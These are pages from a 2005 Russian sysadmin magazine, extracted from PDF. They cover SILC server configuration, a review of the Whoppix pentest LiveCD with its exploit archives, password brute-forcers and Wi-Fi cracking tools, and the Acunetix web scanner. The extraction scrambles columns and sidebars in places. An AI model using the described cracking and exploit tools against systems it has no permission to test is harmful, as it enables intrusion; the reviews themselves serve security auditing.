silc-server Configuration Summary:--------------------------- Target host ...................: i686-pc-linux-gnu Compiler ......................: gcc CFLAGS ........................: -g -O2 -Wall -finline-functions -D_REENTRANT LDFLAGS .......................: LIBS ..........................: -ldl -lpthread Installation prefix ...........: /usr/local/silc bin directory .................: /usr/local/silc/bin sbin directory ................: /usr/local/silc/sbin etc directory .................: /etc/silc man directory .................: /usr/local/silc/man doc directory .................: /usr/local/silc/doc SIM directory .................: /usr/local/silc/modules include directory .............: /usr/local/silc/include Compile SILC Server ...........: yes SIM support ...................: yes IPv6 support ..................: yes Iconv support .................: yes Assembler optimizations .......: yes Multi-threads support .........: yes Debugging enabled .............: noCompile the sources with 'make' or 'gmake' command.$gmake#make install.................Generating RSA Public and Private keys, might take a while...Finding p: .................................Finding q: ...Keys generated successfully.Public key has been saved into `/etc/silc/silcd.pub'.Private key has been saved into `/etc/silc/silcd.prv'..................

# silcd.conf

# Этой строкой подключается файл, в котором описаны# алгоритмы шифрования и прочее, что связано с закрытием# информации. Система настроена на максимальную# безопасность, поэтому в сам файл лучше не лезть

Include "/etc/silc/silcalgs.conf";

# General conÞguration options

# Поведение сервера по умолчанию, некоторые параметры# могут быть переопределены в ConnectionParamsGeneral { module _ path = "/usr/local/silc/modules";

# Если используется аутентификация по паролю или # по открытому ключу, преимущество имеет аутентификация # по открытому ключу. При снятии комментария # преимущество будет иметь пароль # prefer _ passphrase _ auth = true;

# Включает проверку (FQDN) для входящих соединений # require _ reverse _ lookup = true;

# Максимальное количество соединений, принимаемых # сервером, и с одного узла можно переопределить # ConnectionParams. connections _ max = 1000; #connections _ max _ per _ host = 10;

# Интервал смены ключей соединения и канала #key _ exchange _ rekey = 3600; #channel _ rekey _ secs = 3600;

# Включение смены ключей по более медленному, # но безопасному протоколу Perfect Forward Secrecy (PFS) #key _ exchange _ pfs = true;

# Время, по истечении которого закрывается # соединение при неудаче смены ключей #key _ exchange _ timeout = 60;

# Ограничение количества каналов, к которым может # присоединиться клиент (по умолчанию 50). #channel _ join _ limit = 100;

};

# Server informationServerInfo { # Имя сервера (FQDN) hostname = "silctest.com";

# Первичный адрес и порт, на котором сервер будет # принимать соединения. Primary { ip = "192.168.0.1"; port = 706; };

# Другие интерфейсы прописываются отдельно. #Secondary { ip = "10.2.1.60"; port = 706; }; #Secondary { ip = "10.2.1.160"; port = 706; };

# Описание сервера ServerType = "Test Server"; Location = "Rovno, Ukraine";

# Имя администратора, e-mail администратора Admin = "Sergej A. Jaremchuk"; AdminEmail = "[email protected]";

# Пользователь и группа, от имени которого будет # работать сервер

Page 62: 034 Системный Администратор 09 2005

60

безопасность

Все, сервер можно запускать. Но не спешите. Дело в том, что в ключах сервера (по умолчанию используют-ся ключи SILC) заложена также информация о том, кто их сгенерировал. И при несовпадении с реальной клиенты не смогут присоединиться к серверу без каких-либо объ-яснений. Поэтому вначале ключ необходимо регенериро-вать. Для этого запускаем сервер с опцией -С. Самое ин-тересное, что он не хочет брать параметры из конфигура-ционного файла, а поэтому придется их вбивать вручную. То есть если человек набрал их вручную, то он понимает, что делает и отвечает за это.

Формат такой:

Параметры UN и HN обязательные. Эта информация будет выводиться пользователю при первом подключе-нии (рис. 1).

Генерируем ключ:

И запускаем:

silcd -C /etc/silcd --identiÞer="UN=<username>, ↵ HN=<hostname or IP>, RN=<real name>, ↵ E=<email>, O=<organization>, C=<country>"

# /usr/local/silc/sbin/silcd -C /etc/silcd ↵ --identiÞer="UN=grinder, HN=silctest.com, ↵ RN=Sergej Jaremchuk, [email protected]"

# /usr/local/silc/sbin/silcd

Nick = "grinder"; # Passphrase = "verysecret"; PublicKey = "/usr/local/silc/admin.pub";};

# ConÞgured server connections

# Секция необходима, если ваш сервер является# маршрутизатором, для обычных серверов она не нужна#ServerConnection {# Host = "10.2.1.7";# Passphrase = "verysecret";# PublicKey = "/path/to/the/public.pub"»;# Params = "normal";# Backup = false;#};

# ConÞgured router connections

# Маршрутизатор, на который будет завязан сервер,# для внутрикорпоративного можно не активировать#RouterConnection {# Host = "10.2.1.100";# Port = 706;# Passphrase = "verysecret";# #PublicKey = "/path/to/the/public.pub";# Params = "normal";# Initiator = true;# BackupHost = "10.2.1.6";# BackupPort = 706;# BackupLocal = true;#};

# Denied connections

# Здесь описываются соединения, которые будут отброшены##Deny {# Host = "10.2.1.99";# Reason = "Go away spammer";#};#Deny {# Host = "10.3.*";# Reason = "You are not welcome.";#};

User = "nobody"; Group = "nobody";

# Местонахождение открытого и закрытого ключей PublicKey = "/etc/silc/silcd.pub"; PrivateKey = "/etc/silc/silcd.prv"; # Файл, в который записывается сообщение, # получаемое клиентом при соединении MotdFile = "/etc/silc/motd.txt";

# Pid Þle PidFile = "/usr/local/silc/var/silcd.pid";};

# Log ÞlesLogging { Timestamp = true; # Сюда заносятся информационные сообщения, если # не снять комментарий с секций Warnings, Errors # и Fatals, то в эту секцию будут заноситься все # сообщения сервера Info { File = "/usr/local/silc/logs/silcd.log"; Size = "100k"; };

# Warning messages #Warnings { # File = "/usr/local/silc/logs/silcd _ warnings.log"; # Size = "50k"; #};

# Error messages #Errors { # File = "/usr/local/silc/logs/silcd _ errors.log"; # Size = "50k"; #};

# Fatal messages #Fatals { # File = "/usr/local/silc/logs/silcd _ fatals.log"; # Size = "50k"; #};};

# Connection Parameters

# Эта секция определяет специфические параметры связи,# если какой-то параметр не использован, его значение# будет взято из General. Можно описать несколько секций,# которые будут отличаться по уникальному имени, для того# чтобы указать индивидуальные параметрыConnectionParams { # Обязательное уникальное имя name = "normal"; connections _ max = 200; };

# ConÞgured client connections

# Эта секция определяет параметры соединения клиентов.# Параметр «Host» позволяет указать IP-адрес или имя узла,# с которого могут соединяться клиенты. Если он# отсутствует, с сервером могут соединяться все клиенты ## Опции Passphrase, PublicKey и PublicKeyDir указывают# на используемую аутентификацию и местонахождение# необходимых файлов## Секция ниже разрешает подсоединяться всем клиентам# без аутентификации с параметрами связи, определенными# в ConnectionParams с именем normalClient { #Host = "10.1.*"; #Passphrase = "secret"; #PublicKey = "/path/to/the/user _ my.pub"; #PublicKeyDir = "/path/to/keys/dir/"; Params = "normal";};

# ConÞgured server administrator connections

# Секция описывает параметры соединения администратораAdmin { Host = "192.168.0.20"; User = "grinder";

Page 63: 034 Системный Администратор 09 2005

61№9, сентябрь 2005

безопасность

В лог-файле должна появиться информация об успеш-ном старте сервера, без ошибок.

Проверяем:

Можно подсоединяться клиентом. Запускаем Gaim и за-водим новую учетную запись (рис. 4). Выбираем протокол SILC и заполняем поля «Имя пользователя», пароль, псев-доним. Кнопка «Показать больше параметров» позволит из-менить номер порта, указать на месторасположение фай-лов публичного и закрытого (личного) ключей, а также на-строить некоторые параметры аутентификации и при не-обходимости адрес прокси. Если у вас нет ключа, то он бу-дет автоматически сгененерирован при первом соедине-нии с сервером.

Нажимаем вход и соединяемся с сервером, подтвержда-ем получение публичного ключа сервера (рис. 2). На севе-ре сейчас делать нечего, выбираем пункт «Присоединиться к чату» и канал проверка без пароля (рис. 3). Так как такого канала на сервере нет, то он будет автоматически создан

# ps -aux | grep silcd

nobody 29704 0.0 0.5 2636 1212 ? S 13:47 0:00 /usr/local/silc/sbin/silcd

# netstat �a | grep 706 Active Internet connections ↵ (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address Statetcp 0 0 silctest.com:706 *:* LISTEN

Рисунок 1. Информация о публичном ключе сервера

Рисунок 4. Параметры новой учетной записи для присоединенияк серверу SILC

Рисунок 2. Пользователь может проверить полученныйпубличный ключ сервера

Рисунок 3. Присоединяемся к каналу

Рисунок 5. Если канала с введенным именем на сервере нет,то будет создан новый канал и вы будете его основателем

и вы являетесь его основателем (рис. 5). Все, теперь у вас есть свой рабочий сервер SILC, можно оповещать пользо-вателей о появлении нового сервиса.

Безопасность, лучшая масштабируемость SILC-серве-ров привели к тому, что многие организации, беспокоящи-еся о сохранении в тайне передаваемой информации, за-менили свои IRC-серверы на SILC. Кто следующий?

Литература и ссылки:1. IN-2002-03: Social Engineering Attacks via IRC and Instant

Messaging (http://www.cert.org/incident_notes/IN-2002-03.html)

2. Слободской А. IRC-сервер. – Журнал «Системный Ад-министратор» №7, июль 2003 г. – 28-30 с.

3. Сайт проекта SILC – http://silcnet.org.

Page 64: 034 Системный Администратор 09 2005

62

безопасность

Проблемы с безопасностью зна-комы каждому из вас. Пользу-етесь ли вы Windows или Linux,

Apache или Microsoft IIS, – во всех по-

пулярных продуктах есть уязвимости, позволяющие хакеру получить конт-роль над системой. Регулярное обнов-ление ПО, установка патчей от про-

УСТОЙЧИВА ЛИ ВАША СЕТЬ? УСТОЙЧИВА ЛИ ВАША СЕТЬ? ПРОВЕРЬТЕ С ПОМОЩЬЮ WHOPPIX!ПРОВЕРЬТЕ С ПОМОЩЬЮ WHOPPIX!

Эксплойты, сканеры уязвимостей и прочий security-софт нужен не только злостным

компьютерным взломщикам, но и каждому системному администратору, в чьем распоряжении

находятся крупные сети и веб-сервера. Сегодня речь пойдет о специализированном

дистрибутиве Linux, который во много раз упростит процесс аудита системы и займет

достойное место в вашей коллекции незаменимых программных инструментов.

ИЛЬЯ АЛЕКСАНДРОВИЛЬЯ АЛЕКСАНДРОВ

изводителя, использование firewall и систем обнаружения атак не избав-ляет от процесса тестирования защи-ты. Это отнимает огромное количес-

Page 65: 034 Системный Администратор 09 2005

63№9, сентябрь 2005

безопасность

тво времени, требует использования специальных security-программ, кото-рые еще надо найти в Интернете и ус-тановить. Но сегодня появился инс-трумент, способный облегчить нелег-кий труд администратора – дистрибу-тив Linux Whoppix, работающий на тех-нологии LiveCD. Идея «живого CD» не нова, первые подобные разработ-ки появились еще в конце девяностых. Но по-настоящему популярной техно-логия стала только недавно – с появ-лением дистрибутива Knoppix, кото-рый был создан немецким профессо-ром Клаусом Кноппером для обуче-ния студентов основам UNIX. Для ра-боты дистрибутив использует вирту-альный диск определенного разме-ра, храня данные в оперативной па-мяти. Все пакеты находятся в сжатом виде – иначе на диск не вместилось бы достаточное количество программ. Компрессия и декомпрессия настро-ены так, что используют лишь необ-ходимое количество ОЗУ, а большая часть работы происходит непосредс-твенно с CD. В среднем LiveCD рабо-тает так же быстро, как и система, ус-тановленная на жесткий диск, это про-исходит за счет блочного сжатия/рас-жатия и предупорядоченного доступа к файлам. Разработчики Whoppix при-няли здравое решение не изобретать велосипед, а использовать для свое-го проекта уже хорошо себя зареко-мендовавший Knoppix. В принципе Whoppix им и является, только вместо медиа-проигрывателей и офисных па-кетов здесь эксплойты и security-ути-литы. Whoppix специально создавал-ся для тестирования информационных систем на устойчивость к различного рода сетевым атакам. В его составе можно обнаружить архивы эксплойтов от securityfocus и packetstorm, скане-ры безопасности, утилиты для работы в локальных сетях и массу других не-заменимых вещей. Whoppix работает непосредственно с CD, в качестве гра-фической оболочки используется либо KDE, либо fluxbox. ISO-образ дистрибу-тива можно скачать с whoppix.net, или заказать в онлайн-магазинах.

Работа с дистрибутивомИтак, вставляем компакт-диск в при-вод и, не забыв сменить приоритет для загрузочного устройства в BIOS, пе-резагружаемся. Через несколько се-

кунд нашему взору предстает эмбле-ма Whoppix и приглашение «boot:», где можно выбрать опции загрузки. Напри-мер, если ввести:

мы будем работать в оконном менед-жере fluxbox с русским интерфейсом и разрешением 1024x768.

Остальные опции можно просмот-реть, нажав <F2> и <F3> при появле-нии логотипа дистрибутива. Полная загрузка Whoppix длится порядка двух минут, это зависит от конфигурации ПК и скорости CD-привода. Систем-ные требования довольно скромны – процессор класса P3 и 64 Мб опера-тивной памяти.

Графической оболочкой по умолча-нию установлена KDE (см. рис. 1), ко-торая является хоть и удобным, но до-вольно медленным окружением, осо-бенно при работе с LiveCD. Кстати, по каким-то причинам Whoppix быс-тродействием не отличается, даже Knoppix, на котором он основан, ра-ботает шустрее. Хотя это может быть дефектом отдельного CD, рекомен-дую использовать fluxbox или вообще работать в консоли, благо большая часть утилит функционируют в текс-товом режиме.

Также не понравились шрифты – во многих программах они неразбор-чивые и неэстетичные. Как оказалось, в дистрибутиве просто нет TrueType Fonts, разработчики забыли про такую важную вещь, как антиальясинг.

Теперь что касается русифика-ции (напомню, локализовать систему можно, набрав lang=ru при загрузке). Она реализована неплохо, но при вы-боре русского языка недоступно пере-

ключение на английский, что при ра-боте с Whoppix смерти подобно. Луч-ше использовать английский интер-фейс, а для возможности набора рус-ских символов добавить в файл /etc/X11/XF86Config строчку:

Все оборудование распозналось без проблем, единственное, что при-шлось настраивать, – звуковую карту Sound Blaster 128 PCI. Впрочем, благо-даря утилите soundcardconfig это было сделано в течение десяти секунд.

А вот что привело в восхищение – так это утилиты для настройки доступа в Интернет. С помощью KwiFimanager и pppoeconf вы в два клика мыши на-строите подключение с использовани-ем технологий Wi-Fi и ADSL. Есть да-же набор утилит для связи компьюте-ра с мобильным телефоном и исполь-зования последнего в качестве GPRS-модема. Причем телефон можно под-соединять как по USB-кабелю, так и по Irda и bluetooth.

Остается настроить сеть, а для это-го нужно знать IP-адреса серверов DNS, которые я, конечно же, не пом-нил. На моем компьютере Linux ус-тановлен на жесткий диск, и отдел reiserFS Whoppix уже заботливо при-монтировал. Оставалось только вы-полнить команду:

и сеть готова к работе.Теперь немного о ПО, поставляе-

мом с Whoppix. К счастью, разработ-чики догадались не включать в дист-рибутив для специалистов в ИТ-безо-пасности видеоплееры и игры, оста-

WHoppix – коротко о главномWHoppix 2.7.1. – дистрибутив Linux, рабо-тающий на технологии LiveCD и предна-значенный для тестирования информаци-онных систем на устойчивость к сетевым вторжениям. Основан на Knoppix, который в свою очередь базируется на небезызвест-ном Debian GNU/Linux. Во WHoppix включе-но ядро 2.6.11, в качестве графической сре-ды установлена KDE (опционально предла-гается fluxbox). Благодаря использованию декомпрессии на одном CD находятся по-рядка двух гигабайт различного програм-много обеспечения, большая часть которо-

го предназначена для специалистов в об-ласти ИТ-безопасности и системных адми-нистраторов. Также в состав WHoppix вклю-чены архивы эксплойтов от SecurityFocus и PacketStorm. Разработчиком WHoppix явля-ется команда энтузиастов WHAX team, об-разовавшаяся во время работы над дист-рибутивом. Имена создателей по понятным причинам не разглашаются. Дистрибутив является свободно-распространяемым и каждый может скачать его iso-образ с офи-циального портала – whoppix.net. WHoppix довольно молодой проект – первая версия вышла в 2003 году.

knoppix lang=ru desktop=ßuxbox ↵ screen=1024x768

XkbLayout "us,ru(winkeys)"

# cp /mnt/hda1/etc/resolv.conf /etc

Page 66: 034 Системный Администратор 09 2005

64

безопасность

вив лишь самое необходимое. Gcc для компиляции, Xpdf для чтения доку-ментов, Firefox как браузер, ну а если музыкальный фон для вас – незаме-нимое условие, то для прослушива-ния любимых композиций подойдет XMMS. Также в Whoppix есть gFTP, Gaim, Xchat и программа для снятия скриншотов. Что же, разобравшись с тем, что представляет собой дис-трибутив, начнем использовать его по прямому назначению – для обна-ружения уязвимостей в системах бе-зопасности.

Whoppix-toolsВсе утилиты, касающиеся безопас-ности, находятся в директории /pentest корневого каталога. Начнем со вспо-могательных программ. Здесь можно обнаружить rdesktop, позволяющий управлять удаленным windows-ком-пьютером как своим, используя прото-кол RDP. Для пользователей VNC-се-тей предусмотрен xvncviewer, удобный и быстрый графический клиент. Если понадобится поднять FTP-сервер, вос-пользуйтесь демоном tftpd, надежным

и хорошо себя зарекомендовавшим продуктом. Программисты на Python по достоинству оценят scapy – интер-претатор с множеством дополнитель-ных функций и хорошим руководством. Но отдельно хочется отметить netwox – комплекс утилит для работы в локаль-ных сетях (см. рис. 2). С его помощью него можно просмотреть всю инфор-мацию об адаптерах, открытых и за-крытых портах, о включенных в сеть компьютерах. В состав netwox входят «снифферы», перехватывающие паке-ты в LAN, и «спуфинг»-приложения, по-сылающие пакеты с несуществующе-го IP-адреса. Посредством этих при-ложений можно выявить и устранить слабо защищенные места в локаль-ной сети. Также в состав netwox входит telnet-клиент и несколько сканеров уяз-вимостей, но возможности последних оставляют желать лучшего. Полезны-ми могут оказаться приложения, про-веряющие на работоспособность FTP- и IRC-сервера.

Перейдем в /pentest/enumeration, где находится масса утилит самого различного назначения.

Klinkstatus проверит сайты на ва-лидность по введенным адресам – по-лезная в некоторых случаях утилита, особенно для работающих в хостинго-вых компаниях. Скрипт list-vris.py соби-рает все линки и e-mail-адреса с вы-бранной веб-страницы. Это скорее по-хоже на орудие спамера, нежели адми-нистратора, но да бог с ним. Очень по-лезной может стать программа xwhois, которая по введенному веб-адресу или IP выведет географическую информа-цию, сообщит имя владельца домена или адрес и телефон провайдера, про-веряемого сервисом whois. Програм-ма работает с большим числом серве-ров, за счет чего информация никогда не бывает устаревшей или неполной. Есть несколько полезных утилит, уве-личивающих функциональность стан-дартной программы traceroute, пред-назначенной для исследования сети при помощи протокола ICMP. Напри-мер, mtr – программа, проводящая диагностику сети посредством утилит ping, traceroute и им подобным, позво-ляющая выявить практически любую неисправность. Нужна при админист-рировании большего количества ком-пьютеров.

Ни для кого не секрет, что поиско-вую машину google все чаще исполь-зуют для поиска уязвимостей на веб-сайтах. В whoppix есть две утилиты, автоматизирующее и упрощающие процесс google-hacking, но описывать их подробно смысла нет – разобрать-ся с ними труда не составит. Есть по-лезные программы для проверки заня-тости логинов на mail-серверах (и все-таки к созданию дистрибутива прило-жили руку спамеры), скрипты для на-

Рисунок 1. Графическая среда KDE в WHoppix Рисунок 2. Программа NetWox � комплекс утилит для работыв локальных сетях

Frenzy – альтернатива WhoppixWhoppix не единственный LiveCD-дистри-бутив для системного администратора. Можно вспомнить еще и Frenzy – этот дис-трибутив основан на FreeBSD 5.2.1-release. Frenzy разрабатывается украинским про-граммистом, но языком по умолчанию в системе является русский, и стопроцентная локализация для многих может стать реша-ющим фактором при выборе ОС, работа-ющей непосредственно с компакт-диска. Размер дистрибутива – 210 Мб, что позво-ляет уместить его на трехдюймовый диск.

Дистрибутив имеет графическую оболоч-ку, утилиты для настройки сети, маршрути-зации трафика, программы для настройки DNS и NAT. В обилии представлен security-софт: сканеры уязвимостей, системы об-наружения атак, переборщики паролей, «снифферы», и множество других про-грамм. Интересная особенность Frenzy – возможность сохранять все настройки на жесткий диск, дискету, или флэшку. Благо-даря этому после перезагрузки Frenzy об-ретет прежний вид, загрузив уже установ-ленную конфигурацию.

Page 67: 034 Системный Администратор 09 2005

65№9, сентябрь 2005

безопасность

стройки DNS-сервера, и не понят-но как затесавшийся в этот список Leo-editor, редактор для веб-програм-мистов. В hoppix присутствует LDAP Browser, похожее на Internet Explorer приложение, служащее для переме-щения по службе каталогов (протокол LDAP). Отдельно хочется отметить на-бор утилит для работы с Samba – здесь и мощный переборщик паролей, поз-воляющий выявить слабые пользова-тельские аккаунты, и клиент для SMB-сетей, и приложение, позволяющее получить информацию об удаленном SMB-сервере.

Обнаружение уязвимостейЕстественно, отдельное внимание уде-лено сканерам безопасности. Cheops позволяет определить ОС на боль-шинстве удаленных машин, а также зачастую находит разные интерес-ные элементы (сетевые принтеры, ро-утеры) и выводит массу других дан-ных. Cheops – дополненный вариант «network neighborhood», создающий образ сервера с описанием подроб-ной о нем информации. Whoppix со-держит разработку unicornscan, явля-ющейся расширенным сканером пор-тов. Главное достоинство – скорость, unicorscan выдает 30 000 пакетов в се-кунду на обычной сетевой карте. Ска-нер может эмулировать IP-стеки раз-личных операционных систем, что поз-воляет обманывать даже хорошо на-строенные брандмауэры.

Также интересен amap (не путать с nmap, о котором позже). Хотя ничего кардинально нового в нем нет, просто обычный сканер портов, качественно выполняющий свою работу. Для по-

иска ошибок в веб-сценариях и cgi-скриптах служит nikto – утилита, обна-руживающая более 2500 уязвимостей. Ну и, конечно же, классика жанра – nmap и nessus. Думаю, nmap в пред-ставлении не нуждается. Лучший ска-нер портов, с возможностью определе-ния ОС на удаленном ПК, продвинутые возможности, поддержка невидимого сканирования и полуоткрытого SYN-сканирования. NMAP – незаменимая программа для каждого системного администратора (см. рис. 3). Лучшей утилитой для оценки безопасности се-ти является nessus (см. рис. 4). Рабо-тает на технологии клиент/сервер, об-ладает огромным количеством плаги-нов, дает рекомендации решения про-блем. У nessus постоянно обновляемая база уязвимостей, графический интер-фейс, а единственным недостатком яв-ляется довольно медленная скорость работы, но не думаю, что это очень су-щественно.

Программы для перебора паролей нужны администратору для выявления слабых пользовательских аккаунтов и для дальнейшего смены пароля на более надежный, во избежание взло-ма аккаунта хакерами (среди послед-них «брутфорс» популярен куда боль-ше, нежели среди системных адми-нистраторов). В Whoppix можно обна-ружить переборщики под FTP, Samba, VNC, MySQL, и массу других серви-сов. Но хотелось бы отдельно выделить Xhydra, безусловно, лучшую утилиту подобного рода, не имеющую альтер-нативы ни в Windows, ни в UNIX. Hydra поддерживает все протоколы – начи-ная FTP и POP3, заканчивая ssh и да-же ICQ! Также программа отличается

Рисунок 3. Лучший сканер портов и самый мощный переборщикпаролей � Nmap и Hydra

Рисунок 4. Nessus. Опции сканирования

фантастической скоростью работы – несколько миллионов перебираемых паролей в минуту. Имеет как удобный графический интерфейс, так и кон-сольную версию.

Разработчики Whoppix не обошли своим вниманием и утилиты для пе-рехвата пакетов в сети – «снифферы». Одна из самых мощных утилит подоб-ного рода – Ethereal, анализирующая пакеты на любых сетевых устройствах и расшифровывающая около 500 се-тевых протоколов. Еще один популяр-ный «сниффер» – ettercap. Захватыва-ет подключения между двумя хостами и работает с SSH и другими защищен-ными протоколами. Отмечу tcpdump, разрабатываемую с 1992 года програм-му, которая фиксирует каждый прохо-дящий через сетевую плату пакет.

ЭксплойтыЧего-чего, а этого во Whoppix хоть от-бавляй. Директория /pentest/exploits занимает 110 Мб! Причем большая часть эксплойтов находится в исход-ных кодах, для экономии жестко ли-митированного места. Здесь архивы от securityfocus, packetstorm, milw0rm. Естественно, искать во всем этом мно-гообразии нужный вам эксплойт не-реально, для этого существует скрипт find-sploit.pl. Вводите в консоли его и сервис, под который ищете эксплойт, например:

и скрипт выведет пути к нужным вам программам (см.рис. 5).В Whoppix вхо-дит легендарный Metasploit Framework (см. рис. 6), – среда разработки, поз-

# ./Þnd-sploit Windows XP

Page 68: 034 Системный Администратор 09 2005

66

безопасность

воляющая создать любому опытному программисту эксплойт за предельно короткие сроки.

Для работающих на технологиях от CISCO systems предусмотрен на-бор утилит cisco-tool, содержащий в се-бе несколько небольших приложений, способных выявить бреши в защите сети (см. рис. 7).

Желающие сохранить аноним-ность в глобальной паутине могут воспользоваться списком proxy-сер-веров, но полагаю, что многие из них уже не работают и лучше использо-вать более свежие списки, благо най-ти их в Интернете труда не составит. Whoppix поможет проверить на про-чность и базы данных – Microsoft SQL, MySQL, Oracle.

Wi-Fi и BluetoothНе забыты и беспроводные сети – на-строить Wi-Fi поможет KwiFimanager, а для тестирования сети на защищен-ность ничего лучше kismet не найти

(см. рис. 8). Kismet обнаружит Wi-Fi-сети и выдаст массу информации о них: имя, используемое оборудова-ние, определит, включено ли шифро-вание данных, позволит подключить-ся к LAN. В современных сетях исполь-зуется шифрование данных, реализо-ванное протоколом WEP. Надежность алгоритма стоит проверить утилитами airodump и airocrack, созданными спе-циально для взлома систем шифрова-ния сетей Wi-Fi.

Присутствует софт под Bluetooth – помимо многочисленных программ для настройки есть утилиты для сканиро-вания на наличие рядом с компьюте-ром активных BT-устройств, перехват-чики пакетов и даже программа, позво-ляющая взять всю информацию с те-лефонной книги мобильного телефо-на. Правда, для меня остается тайной, как все это поможет системному адми-нистратору – локальных сетей, работа-ющих на bluetooth я не видел, и не ду-маю, что когда-либо увижу.

Пожалуй, на этом описание про-грамм, связанных с ИТ-безопаснос-тью, закончим. Описать весь софт, вхо-дящий в арсенал Whoppix, объем ста-тьи не позволяет, да это и не нужно – со всем ПО разберется любой грамот-ный администратор.

Вообще, Whoppix оставил неод-нозначное впечатление. С одной сто-роны, грамотный дистрибутив, дейс-твительно способный помочь ИТ-спе-циалистам, с другой – некоторые не-приятные моменты наподобие отсутс-твия нормальных шрифтов и медлен-ная работа. И еще очень насторажива-ет обилие откровенно хакерских ути-лит, предназначенных для неправо-мерного взлома, а не настройки собс-твенных сетей. Автор статьи насто-ятельно рекомендует использовать Whoppix только по его прямому назна-чению. Лица, использующие информа-цию данной статьи в противозаконных целях, могут быть привлечены к от-ветственности.

Рисунок 6. Средство разработки эксплойтов � MetasploiFramework

Рисунок 5. Поиск эксплойта под веб-форум PhpBB

Рисунок 7. Программы для аудита CISCO-систем Рисунок 8. Работа с беспроводными сетями

Page 69: 034 Системный Администратор 09 2005
Page 70: 034 Системный Администратор 09 2005

68

безопасность

Несмотря на то что уязвимости могут быть в принципе в любом сервисе, запущенном в системе, статисти-ка показывает, что в последнее время существенно

увеличилось количество нападений на прикладном уров-не. По различным подсчетам приблизительно 60-75% атак направлены на веб-cервисы, количество таких атак, как SQL Injection, cross-site-scripting, никогда не уменьшается. Несмотря на то что об этих технологиях и методах защиты от них написано немало, взломы все равно продолжаются. Вероятно, потому, что веб-сервер ориентирован на публич-ный доступ, поэтому его не спрячешь за межсетевым экра-ном. Страдают не только проекты, созданные программис-тами-одиночками, но и, казалось бы, вылизанный код круп-ных проектов также содержит ошибки. Отследить все мо-менты довольно тяжело, да и подчас работа сдается в ав-ральном порядке в короткие сроки. Ситуацию усложняет то, что протокол HTTP может использовать множество спо-собов кодирования и инкапсуляции информации. Поэтому контроль за вводимой информацией и проверка ее коррек-тности по-прежнему являются ключевыми факторами при обеспечении безопасности всех веб-приложений.

Вручную проверить большой объем кода, чтобы вы-явить все возможные значения всех элементов данных – задача сложная и трудоемкая, требующая больших зна-ний в различных областях. По этой причине все чаще при-ходится прибегать к специализированным сканерам безо-пасности, работающим на прикладном уровне. Одним из продуктов, позволяющим протестировать веб-сайт на на-личие слабых мест, является Acunetix Web Vulnerability Scanner.

Основные возможности Acunetix WVSПри проверке ресурса Acunetix WVS сначала изучает весь сайт, следуя за всеми ссылками, включая файл robots.txt, выводит общую структуру и информацию о каждом файле, версию сервера и программного обеспечения. Для умень-шения трафика можно выбрать режим ручного сканирова-ния (Get list URL only), когда выводятся только ссылки на страницы, а исследователь сам выбирает необходимое на-правление. Следующим шагом происходит автоматическая проверка всех вводимых данных. При обнаружении уязви-мостей можно щелчком мышки получить подробную инфор-

ОПРЕДЕЛЯЕМ УЯЗВИМОСТИ ВЕБ-СЕРВИСАОПРЕДЕЛЯЕМ УЯЗВИМОСТИ ВЕБ-СЕРВИСАС ПОМОЩЬЮ ACUNETIX WEB VULNERABILITY SCANNERС ПОМОЩЬЮ ACUNETIX WEB VULNERABILITY SCANNER

Сегодня большая часть информации обрабатывается веб-приложениями и выдается

пользователю с помощью динамически генерируемых страниц. Номера кредитных карточек,

персональные данные клиентов, важная корпоративная информация, ко всему этому можно

получить доступ 7 дней в неделю, 24 часа в сутки. Естественно, и злоумышленики пытаются

этим воспользоваться.

СЕРГЕЙ ЯРЕМЧУКСЕРГЕЙ ЯРЕМЧУК

Page 71: 034 Системный Администратор 09 2005

69№9, сентябрь 2005

безопасность

мацию об уязвимом месте. Предупреждения разделены на четыре категории в зависимости от опасности: Informational, Low, Medium и High.

Сканирование больших ресурсов может забрать много времени, поэтому некоторые тесты можно отключать, прав-да, если вычетко осознаете, что делаете. Кроме того, мож-но задать расширения файлов, ссылки на которые не бу-дут отслеживаться. Для удобства можно создать несколь-ко профилей сканирования и сканировать веб-сайты с раз-личными настройками.

В зависимости от версии сканера можно задать DNS-имя проверяемого ресурса, IP-адрес либо диапазон адре-сов. Если адресов для сканирования много, то удобнее ис-пользовать предварительно составленный список, кото-рый затем передать программе. Сканируются в том числе и виртуальные узлы, в независимости от типа веб-серве-ра и используемой операционной системы. Acunetix WVS в автоматическом режиме способен обнаруживать многие уязвимые места, которые могут привести к атакам (внед-рение кодов PHP и ASP, SQL и CRLF-внедрение, SSI и меж-сайтовый скриптинг, выполнение кода, включение файла и др.). Поддерживаются все основные веб-технологии ASP, ASP.NET, PHP и CGI. Обнаруживаются места, позволяющие просмотреть исходный код.

Сканер обнаруживает файлы и каталоги, которые могут содержать чувствительную информацию и каталоги со сла-быми разрешениями, в которых можно редактировать, уда-лять и создавать файлы. Определяет наличие опасных ме-тодов HTTP (PUT, TRACE, DELETE). Кроме того, он позволя-ет заменять стандартные баннеры, выдаваемые сервером. Встроенный редактор HTTP/HTTPS (HTTP editor) позволяет создавать запросы к серверу, для того чтобы затем, проана-лизировав ответ, самому оценить уязвимость сервиса к но-вым видам атак. Для декодирования POST-запросов в рас-поряжение исследователя дается соответствующий деко-дер (Base 64 в plain text, URL в plain и наоборот). Новые ата-ки можно создавать при помощи Vulnerability Editor.

Сниффер HTTP позволяет регистрировать, прерывать и модифицировать весь HTTP/HTTPS-трафик. Для удобс-тва можно подключать фильтры (traps) или задавать регу-лярные выражения, которые будут отслеживать только оп-ределенные события.

Одним из слабых мест в любой защите является исполь-зование слабых паролей. Тест аутентификации позволяет обнаружить такие места, используя атаку по словарю. При этом в случае получения 401 ответа от сервера програм-ма переходит к следующему слову. Если сервер использу-ет нестандартный ответ (что можно проследить при помо-щи сниффера), в отдельном поле можно указать его номер. Учитывая, что подобную методику используют и другие про-граммы, предназначенные для подбора пароля, веб-масте-рам следует в случае неудачного ввода пароля просто воз-вращать исходную форму без дополнительных коммента-риев либо перебрасывать пользователя на другую страни-цу (можно и динамически генерируемую). Такой подход за-труднит перебор и по крайней мере отвадит новичков, ис-пользующих чужой инструментарий.

По окончанию сканирования выдается отчет, в котором указаны не только уязвимые места, но и короткие рекомен-

дации по их устранению, и ссылку на ресурсы с подробным описанием уязвимости. Кроме того, результат может быть сохранен в базе данных (поддерживается MS SQL Server от 7.0 и MS Access) для последующего просмотра и со-поставления с последующим сканированием при помощи Compare results node (рис.). Обнаруживая таким образом все изменения и уязвимые места, появившиеся за это вре-мя. Работает на Windows 2000/XP/2003, для установки пот-ребуется 17 Мб свободного пространства.

